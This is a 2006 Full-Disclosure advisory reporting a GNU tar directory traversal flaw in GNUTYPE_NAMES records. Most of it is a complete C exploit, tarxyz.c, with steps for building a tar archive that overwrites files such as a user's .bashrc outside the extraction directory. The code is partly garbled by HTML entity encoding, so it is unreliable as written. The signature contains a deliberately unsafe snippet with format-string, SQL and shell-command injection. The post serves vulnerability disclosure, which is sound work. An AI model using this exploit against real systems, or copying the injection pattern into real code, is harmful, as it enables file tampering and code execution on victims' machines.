Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15233
HistoryNov 28, 2006 - 12:00 a.m.

[Full-disclosure] GNU tar directory traversal

2006-11-2800:00:00
vulners.com
10

GNU tar directory traversal

What is it?
When i download a tar file (warez.tar.gz in this example) from the web and
run the following commands:

$ mkdir ~/warez
$ tar xzf warez.tar.gz -C ~/warez

, then i would expect that tar doesn't create or replace any files outside
the ~/warez directory. Today, i was browsing the GNU tar source code trying
to find a way to create/overwrite arbitrary files, and i found it!

Normal tar symlinks/hardlinks are handled correctly in GNU tar (i think),
but there is one tar record type, called GNUTYPE_NAMES (this is some kind
of GNU extension, i think), that allows me to create symbolic links
(inside the ~/warez directory, in this example) pointing to arbitrary
locations in the filesystem. In the exploit, i make a sybolic link called
"xyz", pointing to "/". After that record, more records would follow
that extract files to the "xyz" directory.

Version numbers:

I tested this on Ubuntu 6.06 LTS, GNU tar 1.16 and GNU tar 1.15.1 (this one
comes with Ubuntu)

Vulnerable code:

See extract_archive() in extract.c and extract_mangle() in mangle.c.

Exploit:

/*

  • tarxyz.c - GNU tar directory traversal exploit.
  • Written by Teemu Salmela.
  • Example usage (creates a tar file that extracts /home/teemu/.bashrc):
  • $ gcc -o tarxyz tarxyz.c
  • $ ./tarxyz > ~/xyz.tar
  • $ mkdir -p /tmp/xyz/home/teemu/
  • $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc
  • $ cd /tmp
  • $ tar -rf ~/xyz.tar xyz/home/teemu
    */

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

struct posix_header
{ /* byte offset /
char name[100]; /
0 /
char mode[8]; /
100 /
char uid[8]; /
108 /
char gid[8]; /
116 /
char size[12]; /
124 /
char mtime[12]; /
136 /
char chksum[8]; /
148 /
char typeflag; /
156 /
char linkname[100]; /
157 /
char magic[6]; /
257 /
char version[2]; /
263 /
char uname[32]; /
265 /
char gname[32]; /
297 /
char devmajor[8]; /
329 /
char devminor[8]; /
337 /
char prefix[155]; /
345 /
/
500 */
};

#define GNUTYPE_NAMES 'N'

#define BLOCKSIZE 512

union block
{
char buffer[BLOCKSIZE];
struct posix_header header;
};

void
data(void *p, size_t size)
{
size_t n = 0;
char b[BLOCKSIZE];

    while &#40;size - n &gt; 512&#41; {
            fwrite&#40;&amp;&#40;&#40;char *&#41;p&#41;[n], 1, 512, stdout&#41;;
            n += 512;
    }
    if &#40;size - n&#41; {
            memset&#40;b, 0, sizeof&#40;b&#41;&#41;;
            memcpy&#40;b, &amp;&#40;&#40;char *&#41;p&#41;[n], size - n&#41;;
            fwrite&#40;b, 1, sizeof&#40;b&#41;, stdout&#41;;
    }

}

int
main(int argc, char *argv[])
{
char *link_name = "xyz";
union block b;
char *d;
int i;
unsigned int cksum;

    if &#40;argc &gt; 1&#41;
            link_name = argv[1];

    if &#40;asprintf&#40;&amp;d, &quot;Symlink / to &#37;s&#92;n&quot;, link_name&#41; &lt; 0&#41; {
            fprintf&#40;stderr, &quot;out of memory&#92;n&quot;&#41;;
            exit&#40;1&#41;;
    }
    memset&#40;&amp;b, 0, sizeof&#40;b&#41;&#41;;
    strcpy&#40;b.header.name, &quot;xyz&quot;&#41;;
    strcpy&#40;b.header.mode, &quot;0000777&quot;&#41;;
    strcpy&#40;b.header.uid, &quot;0000000&quot;&#41;;
    strcpy&#40;b.header.gid, &quot;0000000&quot;&#41;;
    sprintf&#40;b.header.size, &quot;&#37;011o&quot;, strlen&#40;d&#41;&#41;;
    strcpy&#40;b.header.mtime, &quot;00000000000&quot;&#41;;
    strcpy&#40;b.header.chksum, &quot;        &quot;&#41;;
    b.header.typeflag = GNUTYPE_NAMES;
    strcpy&#40;b.header.magic, &quot;ustar  &quot;&#41;;
    strcpy&#40;b.header.uname, &quot;root&quot;&#41;;
    strcpy&#40;b.header.gname, &quot;root&quot;&#41;;
    for &#40;cksum = 0, i = 0; i &lt; sizeof&#40;b&#41;; i++&#41;
            cksum += b.buffer[i] &amp; 0xff;
    sprintf&#40;b.header.chksum, &quot;&#37;06o &quot;, cksum&#41;;
    fwrite&#40;&amp;b, 1, sizeof&#40;b&#41;, stdout&#41;;
    data&#40;d, strlen&#40;d&#41;&#41;;

}


fscanf(socket,"%s",buf); printf(buf);
sprintf(query, "SELECT %s FROM table", buf);
sprintf(cmd, "echo %s | sqlquery", query); system(cmd);
Teemu Salmela


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/